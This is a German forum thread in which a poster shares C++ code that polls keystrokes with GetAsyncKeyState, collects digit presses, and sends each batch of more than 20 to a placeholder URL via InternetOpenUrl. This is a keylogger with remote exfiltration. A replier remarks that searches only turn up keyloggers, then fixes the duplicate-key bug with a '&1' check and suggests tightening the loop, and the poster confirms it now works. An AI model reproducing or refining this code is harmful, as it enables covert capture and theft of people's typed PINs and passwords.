[C++] strcat variable anhängen

C++ Code
PHP:
int i;
std::string pushed_string = "hier steht mein link";
std::string pushed_key = "";
while(1)
{
    for(i=8;i<=190;i++)
    {
        if (GetAsyncKeyState(i))
        {
            switch(i)
            {
                case 48: pushed_key += "0"; break;
                case 49: pushed_key += "1"; break;
                case 50: pushed_key += "2"; break;
                case 51: pushed_key += "3"; break;
                case 52: pushed_key += "4"; break;
                case 53: pushed_key += "5"; break;
                case 54: pushed_key += "6"; break;
                case 55: pushed_key += "7"; break;
                case 56: pushed_key += "8"; break;
                default: pushed_key += "";
            }
        }
    }
    if( pushed_key.length() > 20)
    {
            pushed_key = pushed_string + pushed_key;

        HINTERNET hInternet;
                HINTERNET hFile;

                hInternet = InternetOpen(
                    "Beliebige Browserkennung",
                    INTERNET_OPEN_TYPE_PRECONFIG,
                    NULL,
                    NULL,
                    0);

                hFile = InternetOpenUrl(
                    hInternet,
                    pushed_key.c_str(),
                    NULL,
                    0,
                    INTERNET_FLAG_NO_CACHE_WRITE,
                    0);

    

                InternetCloseHandle(hFile);
                InternetCloseHandle(hInternet);
        pushed_key = "";
    }
  }
so besser?
 
nein nur bunter ;)
schon mal mitm debugger drüber gegangen? weis nicht vllt wenn du die 1 drückst das da halt 21 mal die 1 rauskommt bzw noch öfters bis du wieder losgelassen hast und dann halt reingeschrieben wird. ich kann persönlich grad mit dem code gar nix anfangen (hab mal in google geschaut da findet man aber nur keylogger und die sollen angeblich alle funktioniern)

naja c ist einfach besser :evil:
*duckundwech*

mfg
Samy

Edit: achja while(1) == c .... in c++ gibt es schon true and false ;)....
 
Zuletzt bearbeitet:
nein nur bunter ;)
schon mal mitm debugger drüber gegangen? weis nicht vllt wenn du die 1 drückst das da halt 21 mal die 1 rauskommt bzw noch öfters bis du wieder losgelassen hast und dann halt reingeschrieben wird. ich kann persönlich grad mit dem code gar nix anfangen (hab mal in google geschaut da findet man aber nur keylogger und die sollen angeblich alle funktioniern)

naja c ist einfach besser :evil:
*duckundwech*

mfg
Samy

Edit: achja while(1) == c .... in c++ gibt es schon true and false ;)....


Ah, endlich mal wieder ne Antwort :eek:)
Wie sollte ich den Code den dann leslicher schreiben :p
Also da wurde immer 21x die Taste eingetragen, auch wenn ich sie nur ganz kurz versucht habe zu drücken.

Und wegen der 1. Das is kürzer zu schreiben als true oder false :biggrin:
 
Und wegen der 1. Das is kürzer zu schreiben als true oder false :biggrin:
oO hat aber nix in einem C++ proggy zu suchen.

achja habs mir etz mal angeschaut ich weiss nicht aber onkel google war in diesem Fall mal wieder hilfreich
anstatt
Code:
if (GetAsyncKeyState(i))
einfach
Code:
 if (GetAsyncKeyState(i)&1 ==1)
mal ausprobieren bei mir hats funktioniert....

achja und wenn du nur 20 zeichen willst solltest du das > in ein >= umwandeln
ansonsten bekommst du immer 21 zeichen.

achja gewöhn dir doch das debuggen an, 2 min hat das jetz gedauert (fehler war in der abfrage merkt mann wenn man da 50 mal reinläuft) plus 2 min nach richtiger funktion zu suchen

schönen Tag noch

mfg
Samy
 
Yeahhhhhhhhhhh, vielen vielen vielen Dank!!!! Es klappt!! Juhu!

Kannst mir jetzt vll noch erklären was das bedeutet :biggrin:


Mit dem Debugger kenn ich mich noch nicht so richtig gut aus. Den hab ich jetzt eigentlich nur benutzt wenn ich das Programm nicht ausführen konnte, wegen einem Fehler. Aber danke für den Hinweis
 
Kannst mir jetzt vll noch erklären was das bedeutet
hmm nö :evil:

nein soweit ich das jetzt verstanden habe, kann man mit hilfe GetAsyncKeyState den Status einer bestimmten Taste auf der Tastatur abfragen und bekommst nen short zurück. Dieser behinaltet den Status (16 bits, welches bit was wo genau ist hab ich kein Ahnung). Das 1 bit legt fest ob die Taste gedrückt ist oder nicht. Und das kannst du mit &1 == 1 abfragen (bitoperator).

eigentlich kann deine forschleife auch for(i=48;i<=56;i++) so ausehen weil du ja nur 0-8 abfragen willst

mfg
Samy
 
hmm nö :evil:

nein soweit ich das jetzt verstanden habe, kann man mit hilfe GetAsyncKeyState den Status einer bestimmten Taste auf der Tastatur abfragen und bekommst nen short zurück. Dieser behinaltet den Status (16 bits, welches bit was wo genau ist hab ich kein Ahnung). Das 1 bit legt fest ob die Taste gedrückt ist oder nicht. Und das kannst du mit &1 == 1 abfragen (bitoperator).

eigentlich kann deine forschleife auch for(i=48;i<=56;i++) so ausehen weil du ja nur 0-8 abfragen willst

mfg
Samy

Achso, ok. Das mit dem GetAsyncKeyState wusst ich noch nicht soo genau, nur dass es einen short zurück gibt. Danke!